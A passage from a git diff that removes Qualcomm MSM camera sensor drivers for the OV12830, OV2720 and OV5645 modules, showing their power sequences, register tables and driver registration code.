SENSOR_GPIO_VDIG, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_VDIG, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_AF_PWDM, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_AF_PWDM, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info ov12830_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id ov12830_i2c_id[] = { - {OV12830_SENSOR_NAME, - (kernel_ulong_t)&ov12830_s_ctrl}, - { } -}; - -static int msm_ov12830_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov12830_s_ctrl); -} - -static struct i2c_driver ov12830_i2c_driver = { - .id_table = ov12830_i2c_id, - .probe = msm_ov12830_i2c_probe, - .driver = { - .name = OV12830_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov12830_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id ov12830_dt_match[] = { - {.compatible = "qcom,ov12830", - .data = &ov12830_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov12830_dt_match); - -static struct platform_driver ov12830_platform_driver = { - .driver = { - .name = "qcom,ov12830", - .owner = THIS_MODULE, - .of_match_table = ov12830_dt_match, - }, -}; - -static int32_t ov12830_platform_probe - (struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(ov12830_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init ov12830_init_module(void) -{ - int32_t rc = 0; - pr_debug("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&ov12830_platform_driver, - ov12830_platform_probe); - if (!rc) - return rc; - pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&ov12830_i2c_driver); -} - -static void __exit ov12830_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (ov12830_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov12830_s_ctrl); - platform_driver_unregister - (&ov12830_platform_driver); - } else { - i2c_del_driver(&ov12830_i2c_driver); - } -} - -static struct msm_sensor_ctrl_t ov12830_s_ctrl = { - .sensor_i2c_client = &ov12830_sensor_i2c_client, - .power_setting_array.power_setting = ov12830_power_setting, - .power_setting_array.size = - ARRAY_SIZE(ov12830_power_setting), - .msm_sensor_mutex = &ov12830_mut, - .sensor_v4l2_subdev_info = ov12830_subdev_info, - .sensor_v4l2_subdev_info_size = - ARRAY_SIZE(ov12830_subdev_info), -}; - -module_init(ov12830_init_module); -module_exit(ov12830_exit_module); -MODULE_DESCRIPTION("ov12830"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c deleted file mode 100644 index 397564b3ef629..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c +++ /dev/null @@ -1,155 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define OV2720_SENSOR_NAME "ov2720" -DEFINE_MSM_MUTEX(ov2720_mut); - -static struct msm_sensor_ctrl_t ov2720_s_ctrl; - -static struct msm_sensor_power_setting ov2720_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info ov2720_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id ov2720_i2c_id[] = { - {OV2720_SENSOR_NAME, (kernel_ulong_t)&ov2720_s_ctrl}, - { } -}; - -static int32_t msm_ov2720_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov2720_s_ctrl); -} - -static struct i2c_driver ov2720_i2c_driver = { - .id_table = ov2720_i2c_id, - .probe = msm_ov2720_i2c_probe, - .driver = { - .name = OV2720_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov2720_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id ov2720_dt_match[] = { - {.compatible = "qcom,ov2720", .data = &ov2720_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov2720_dt_match); - -static struct platform_driver ov2720_platform_driver = { - .driver = { - .name = "qcom,ov2720", - .owner = THIS_MODULE, - .of_match_table = ov2720_dt_match, - }, -}; - -static int32_t ov2720_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(ov2720_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init ov2720_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&ov2720_platform_driver, - ov2720_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&ov2720_i2c_driver); -} - -static void __exit ov2720_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (ov2720_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov2720_s_ctrl); - platform_driver_unregister(&ov2720_platform_driver); - } else - i2c_del_driver(&ov2720_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t ov2720_s_ctrl = { - .sensor_i2c_client = &ov2720_sensor_i2c_client, - .power_setting_array.power_setting = ov2720_power_setting, - .power_setting_array.size = ARRAY_SIZE(ov2720_power_setting), - .msm_sensor_mutex = &ov2720_mut, - .sensor_v4l2_subdev_info = ov2720_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov2720_subdev_info), -}; - -module_init(ov2720_init_module); -module_exit(ov2720_exit_module); -MODULE_DESCRIPTION("ov2720"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c deleted file mode 100755 index 7b84d8392571b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c +++ /dev/null @@ -1,958 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" -#define OV5645_SENSOR_NAME "ov5645" -#define PLATFORM_DRIVER_NAME "msm_camera_ov5645" -#define ov5645_obj ov5645_##obj - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - - -DEFINE_MSM_MUTEX(ov5645_mut); -static struct msm_sensor_ctrl_t ov5645_s_ctrl; - -static struct msm_sensor_power_setting ov5645_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, - -}; - -static struct msm_camera_i2c_reg_conf ov5645_sxga_settings[] = { - {0x3612, 0xa9,}, - {0x3614, 0x50,}, - {0x3618, 0x00,}, - {0x3034, 0x18,}, - {0x3035, 0x21,}, - {0x3036, 0x70,}, - {0x3600, 0x09,}, - {0x3601, 0x43,}, - {0x3708, 0x66,}, - {0x370c, 0xc3,}, - {0x3800, 0x00,}, - {0x3801, 0x00,}, - {0x3802, 0x00,}, - {0x3803, 0x06,}, - {0x3804, 0x0a,}, - {0x3805, 0x3f,}, - {0x3806, 0x07,}, - {0x3807, 0x9d,}, - {0x3808, 0x05,}, - {0x3809, 0x00,}, - {0x380a, 0x03,}, - {0x380b, 0xc0,}, - {0x380c, 0x07,}, - {0x380d, 0x68,}, - {0x380e, 0x03,}, - {0x380f, 0xd8,}, - {0x3813, 0x06,}, - {0x3814, 0x31,}, - {0x3815, 0x31,}, - {0x3820, 0x47,}, - {0x3a02, 0x03,}, - {0x3a03, 0xd8,}, - {0x3a08, 0x01,}, - {0x3a09, 0xf8,}, - {0x3a0a, 0x01,}, - {0x3a0b, 0xa4,}, - {0x3a0e, 0x02,}, - {0x3a0d, 0x02,}, - {0x3a14, 0x03,}, - {0x3a15, 0xd8,}, - {0x3a18, 0x00,}, - {0x4004, 0x02,}, - {0x4005, 0x18,}, - {0x4300, 0x30,}, - {0x4202, 0x00,}, - -}; - -static struct msm_camera_i2c_reg_conf ov5645_full_settings[] = { - {0x3612, 0xab,}, - {0x3614, 0x50,}, - {0x3618, 0x04,}, - {0x3034, 0x18,}, - {0x3035, 0x11,}, - {0x3036, 0x54,}, - {0x3600, 0x08,}, - {0x3601, 0x33,}, - {0x3708, 0x63,}, - {0x370c, 0xc0,}, - {0x3800, 0x00,}, - {0x3801, 0x00,}, - {0x3802, 0x00,}, - {0x3803, 0x00,}, - {0x3804, 0x0a,}, - {0x3805, 0x3f,}, - {0x3806, 0x07,}, - {0x3807, 0x9f,}, - {0x3808, 0x0a,}, - {0x3809, 0x20,}, - {0x380a, 0x07,}, - {0x380b, 0x98,}, - {0x380c, 0x0b,}, - {0x380d, 0x1c,}, - {0x380e, 0x07,}, - {0x380f, 0xb0,}, - {0x3813, 0x06,}, - {0x3814, 0x11,}, - {0x3815, 0x11,}, - {0x3820, 0x47,}, - {0x4514, 0x88,}, - {0x3a02, 0x07,}, - {0x3a03, 0xb0,}, - {0x3a08, 0x01,}, - {0x3a09, 0x27,}, - {0x3a0a, 0x00,}, - {0x3a0b, 0xf6,}, - {0x3a0e, 0x06,}, - {0x3a0d, 0x08,}, - {0x3a14, 0x07,}, - {0x3a15, 0xb0,}, - {0x3a18, 0x01,}, - {0x4004, 0x06,}, - {0x4005, 0x18,}, - {0x4300, 0x30,}, - {0x4837, 0x0b,}, - {0x4202, 0x00,}, -}; - -static struct msm_camera_i2c_reg_conf ov5645_1080P_settings[] = { - {0x3612, 0xab,}, - {0x3614, 0x50,}, - {0x3618, 0x04,}, - {0x3034, 0x18,}, - {0x3035, 0x11,}, - {0x3036, 0x54,}, - {0x3600, 0x08,}, - {0x3601, 0x33,}, - {0x3708, 0x63,}, - {0x370c, 0xc0,}, - {0x3800, 0x01,}, - {0x3801, 0x50,}, - {0x3802, 0x01,}, - {0x3803, 0xb2,}, - {0x3804, 0x08,}, - {0x3805, 0xef,}, - {0x3806, 0x05,}, - {0x3807, 0xf1,}, - {0x3808, 0x07,}, - {0x3809, 0x80,}, - {0x380a, 0x04,}, - {0x380b, 0x38,}, - {0x380c, 0x09,}, - {0x380d, 0xc4,}, - {0x380e, 0x04,}, - {0x380f, 0x60,}, - {0x3813, 0x04,}, - {0x3814, 0x11,}, - {0x3815, 0x11,}, - {0x3820, 0x47,}, - {0x4514, 0x88,}, - {0x3a02, 0x04,}, - {0x3a03, 0x60,}, - {0x3a08, 0x01,}, - {0x3a09, 0x50,}, - {0x3a0a, 0x01,}, - {0x3a0b, 0x18,}, - {0x3a0e, 0x03,}, - {0x3a0d, 0x04,}, - {0x3a14, 0x04,}, - {0x3a15, 0x60,}, - {0x3a18, 0x00,}, - {0x4004, 0x06,}, - {0x4005, 0x18,}, - {0x4300, 0x30,}, - {0x4202, 0x00,}, - {0x4837, 0x0b,}, -}; - - -static struct msm_camera_i2c_reg_conf ov5645_recommend_settings[] = { - {0x3103, 0x11,}, - {0x3008, 0x82,}, - {0x3008, 0x42,}, - {0x3103, 0x03,}, - {0x3503, 0x07,}, - {0x3002, 0x1c,}, - {0x3006, 0xc3,}, - {0x300e, 0x45,}, - {0x3017, 0x00,}, - {0x3018, 0x00,}, - {0x302e, 0x0b,}, - {0x3037, 0x13,}, - {0x3108, 0x01,}, - {0x3611, 0x06,}, - {0x3500, 0x00,}, - {0x3501, 0x01,}, - {0x3502, 0x00,}, - {0x350a, 0x00,}, - {0x350b, 0x3f,}, - {0x3620, 0x33,}, - {0x3621, 0xe0,}, - {0x3622, 0x01,}, - {0x3630, 0x2e,}, - {0x3631, 0x00,}, - {0x3632, 0x32,}, - {0x3633, 0x52,}, - {0x3634, 0x70,}, - {0x3635, 0x13,}, - {0x3636, 0x03,}, - {0x3703, 0x5a,}, - {0x3704, 0xa0,}, - {0x3705, 0x1a,}, - {0x3709, 0x12,}, - {0x370b, 0x61,}, - {0x370f, 0x10,}, - {0x3715, 0x78,}, - {0x3717, 0x01,}, - {0x371b, 0x20,}, - {0x3731, 0x12,}, - {0x3901, 0x0a,}, - {0x3905, 0x02,}, - {0x3906, 0x10,}, - {0x3719, 0x86,}, - {0x3810, 0x00,}, - {0x3811, 0x10,}, - {0x3812, 0x00,}, - {0x3821, 0x01,}, - {0x3824, 0x01,}, - {0x3826, 0x03,}, - {0x3828, 0x08,}, - {0x3a19, 0xf8,}, - {0x3c01, 0x34,}, - {0x3c04, 0x28,}, - {0x3c05, 0x98,}, - {0x3c07, 0x07,}, - {0x3c09, 0xc2,}, - {0x3c0a, 0x9c,}, - {0x3c0b, 0x40,}, - {0x3c01, 0x34,}, - {0x4001, 0x02,}, - {0x4514, 0x00,}, - {0x4520, 0xb0,}, - {0x460b, 0x37,}, - {0x460c, 0x20,}, - {0x4818, 0x01,}, - {0x481d, 0xf0,}, - {0x481f, 0x50,}, - {0x4823, 0x70,}, - {0x4831, 0x14,}, - {0x5000, 0xa7,}, - {0x5001, 0x83,}, - {0x501d, 0x00,}, - {0x501f, 0x00,}, - {0x503d, 0x00,}, - {0x505c, 0x30,}, - {0x5181, 0x59,}, - {0x5183, 0x00,}, - {0x5191, 0xf0,}, - {0x5192, 0x03,}, - {0x5684, 0x10,}, - {0x5685, 0xa0,}, - {0x5686, 0x0c,}, - {0x5687, 0x78,}, - {0x5a00, 0x08,}, - {0x5a21, 0x00,}, - {0x5a24, 0x00,}, - {0x3008, 0x02,}, - {0x3503, 0x00,}, - {0x5180, 0xff,}, - {0x5181, 0xf2,}, - {0x5182, 0x00,}, - {0x5183, 0x14,}, - {0x5184, 0x25,}, - {0x5185, 0x24,}, - {0x5186, 0x09,}, - {0x5187, 0x09,}, - {0x5188, 0x0a,}, - {0x5189, 0x75,}, - {0x518a, 0x52,}, - {0x518b, 0xea,}, - {0x518c, 0xa8,}, - {0x518d, 0x42,}, - {0x518e, 0x38,}, - {0x518f, 0x56,}, - {0x5190, 0x42,}, - {0x5191, 0xf8,}, - {0x5192, 0x04,}, - {0x5193, 0x70,}, - {0x5194, 0xf0,}, - {0x5195, 0xf0,}, - {0x5196, 0x03,}, - {0x5197, 0x01,}, - {0x5198, 0x04,}, - {0x5199, 0x12,}, - {0x519a, 0x04,}, - {0x519b, 0x00,}, - {0x519c, 0x06,}, - {0x519d, 0x82,}, - {0x519e, 0x38,}, - {0x5381, 0x1e,}, - {0x5382, 0x5b,}, - {0x5383, 0x08,}, - {0x5384, 0x0a,}, - {0x5385, 0x7e,}, - {0x5386, 0x88,}, - {0x5387, 0x7c,}, - {0x5388, 0x6c,}, - {0x5389, 0x10,}, - {0x538a, 0x01,}, - {0x538b, 0x98,}, - {0x5300, 0x08,}, - {0x5301, 0x30,}, - {0x5302, 0x10,}, - {0x5303, 0x00,}, - {0x5304, 0x08,}, - {0x5305, 0x30,}, - {0x5306, 0x08,}, - {0x5307, 0x16,}, - {0x5309, 0x08,}, - {0x530a, 0x30,}, - {0x530b, 0x04,}, - {0x530c, 0x06,}, - {0x5480, 0x01,}, - {0x5481, 0x08,}, - {0x5482, 0x14,}, - {0x5483, 0x28,}, - {0x5484, 0x51,}, - {0x5485, 0x65,}, - {0x5486, 0x71,}, - {0x5487, 0x7d,}, - {0x5488, 0x87,}, - {0x5489, 0x91,}, - {0x548a, 0x9a,}, - {0x548b, 0xaa,}, - {0x548c, 0xb8,}, - {0x548d, 0xcd,}, - {0x548e, 0xdd,}, - {0x548f, 0xea,}, - {0x5490, 0x1d,}, - {0x5580, 0x02,}, - {0x5583, 0x40,}, - {0x5584, 0x10,}, - {0x5589, 0x10,}, - {0x558a, 0x00,}, - {0x558b, 0xf8,}, - {0x5800, 0x3f,}, - {0x5801, 0x16,}, - {0x5802, 0x0e,}, - {0x5803, 0x0d,}, - {0x5804, 0x17,}, - {0x5805, 0x3f,}, - {0x5806, 0x0b,}, - {0x5807, 0x06,}, - {0x5808, 0x04,}, - {0x5809, 0x04,}, - {0x580a, 0x06,}, - {0x580b, 0x0b,}, - {0x580c, 0x09,}, - {0x580d, 0x03,}, - {0x580e, 0x00,}, - {0x580f, 0x00,}, - {0x5810, 0x03,}, - {0x5811, 0x08,}, - {0x5812, 0x0a,}, - {0x5813, 0x03,}, - {0x5814, 0x00,}, - {0x5815, 0x00,}, - {0x5816, 0x04,}, - {0x5817, 0x09,}, - {0x5818, 0x0f,}, - {0x5819, 0x08,}, - {0x581a, 0x06,}, - {0x581b, 0x06,}, - {0x581c, 0x08,}, - {0x581d, 0x0c,}, - {0x581e, 0x3f,}, - {0x581f, 0x1e,}, - {0x5820, 0x12,}, - {0x5821, 0x13,}, - {0x5822, 0x21,}, - {0x5823, 0x3f,}, - {0x5824, 0x68,}, - {0x5825, 0x28,}, - {0x5826, 0x2c,}, - {0x5827, 0x28,}, - {0x5828, 0x08,}, - {0x5829, 0x48,}, - {0x582a, 0x64,}, - {0x582b, 0x62,}, - {0x582c, 0x64,}, - {0x582d, 0x28,}, - {0x582e, 0x46,}, - {0x582f, 0x62,}, - {0x5830, 0x60,}, - {0x5831, 0x62,}, - {0x5832, 0x26,}, - {0x5833, 0x48,}, - {0x5834, 0x66,}, - {0x5835, 0x44,}, - {0x5836, 0x64,}, - {0x5837, 0x28,}, - {0x5838, 0x66,}, - {0x5839, 0x48,}, - {0x583a, 0x2c,}, - {0x583b, 0x28,}, - {0x583c, 0x26,}, - {0x583d, 0xae,}, - {0x5025, 0x00,}, - {0x3a0f, 0x30,}, - {0x3a10, 0x28,}, - {0x3a1b, 0x30,}, - {0x3a1e, 0x26,}, - {0x3a11, 0x60,}, - {0x3a1f, 0x14,}, - {0x0601, 0x02,}, - {0x3008, 0x42,}, - -}; - -static struct v4l2_subdev_info ov5645_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_YUYV8_2X8, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf ov5645_start_settings[] = { - {0x3008, 0x02,}, -}; - -static struct msm_camera_i2c_reg_conf ov5645_stop_settings[] = { - {0x3008, 0x42,}, -}; - -static struct msm_camera_i2c_reg_conf ov5645_enable_aec_settings[] = { - {0x3503, 0x00,}, - {0x3406, 0x00,}, -}; - -static struct msm_camera_i2c_reg_conf ov5645_disable_aec_settings[] = { - {0x3503, 0x07,}, - {0x3406, 0x01,}, -}; - -static const struct i2c_device_id ov5645_i2c_id[] = { - {OV5645_SENSOR_NAME, (kernel_ulong_t)&ov5645_s_ctrl}, - { } -}; - -static int32_t msm_ov5645_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov5645_s_ctrl); -} - -static struct i2c_driver ov5645_i2c_driver = { - .id_table = ov5645_i2c_id, - .probe = msm_ov5645_i2c_probe, - .driver = { - .name = OV5645_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov5645_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id ov5645_dt_match[] = { - {.compatible = "ovti,ov5645", .data = &ov5645_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov5645_dt_match); - -static int32_t ov5645_platform_probe(struct platform_device *pdev) -{ - int32_t rc; - const struct of_device_id *match; - match = of_match_device(ov5645_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static struct platform_driver ov5645_platform_driver = { - .driver = { - .name = "ovti,ov5645", - .owner = THIS_MODULE, - .of_match_table = ov5645_dt_match, - }, - .probe = ov5645_platform_probe, -}; - -static int __init ov5645_init_module(void) -{ - int32_t rc; - pr_err("%s:%d\n", __func__, __LINE__); - rc = platform_driver_register(&ov5645_platform_driver); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&ov5645_i2c_driver); -} - -static void __exit ov5645_exit_module(void) -{ - pr_err("%s:%d\n", __func__, __LINE__); - if (ov5645_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov5645_s_ctrl); - platform_driver_unregister(&ov5645_platform_driver); - } else - i2c_del_driver(&ov5645_i2c_driver); - return; -} - -int32_t ov5645_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - long rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, - s_ctrl->sensordata->sensor_name, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_SET_INIT_SETTING: - /* 1. Write Recommend settings */ - /* 2. Write change settings */ - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_recommend_settings, - ARRAY_SIZE(ov5645_recommend_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - - case CFG_SET_RESOLUTION: { - /*copy from user the desired resoltuion*/ - enum msm_sensor_resolution_t res = MSM_SENSOR_INVALID_RES; - if (copy_from_user(&res, (void *)cdata->cfg.setting, - sizeof(enum msm_sensor_resolution_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - pr_err("%s:%d res =%d\n", __func__, __LINE__, res); - - if (res == MSM_SENSOR_RES_FULL) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_full_settings, - ARRAY_SIZE(ov5645_full_settings), - MSM_CAMERA_I2C_BYTE_DATA); - pr_err("%s:%d res =%d\n ov5645_full_settings ", - __func__, __LINE__, res); - } else if (res == MSM_SENSOR_RES_QTR) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_sxga_settings, - ARRAY_SIZE(ov5645_sxga_settings), - MSM_CAMERA_I2C_BYTE_DATA); - pr_err("%s:%d res =%d ov5645_sxga_settings\n", - __func__, __LINE__, res); - } else if (res == MSM_SENSOR_RES_2) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, - ov5645_1080P_settings, - ARRAY_SIZE(ov5645_1080P_settings), - MSM_CAMERA_I2C_BYTE_DATA); - pr_err("%s:%d res =%d ov5645_1080P_settings\n", - __func__, __LINE__, res); - } else { - pr_err("%s:%d failed resoultion set\n", __func__, - __LINE__); - rc = -EFAULT; - } - } - break; - case CFG_SET_STOP_STREAM: - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_stop_settings, - ARRAY_SIZE(ov5645_stop_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_SET_START_STREAM: - if (s_ctrl->camera_stream_type != MSM_CAMERA_STREAM_SNAPSHOT) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_enable_aec_settings, - ARRAY_SIZE(ov5645_enable_aec_settings), - MSM_CAMERA_I2C_BYTE_DATA); - } else { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_disable_aec_settings, - ARRAY_SIZE(ov5645_disable_aec_settings), - MSM_CAMERA_I2C_BYTE_DATA); - } - if (rc) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov5645_start_settings, - ARRAY_SIZE(ov5645_start_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - 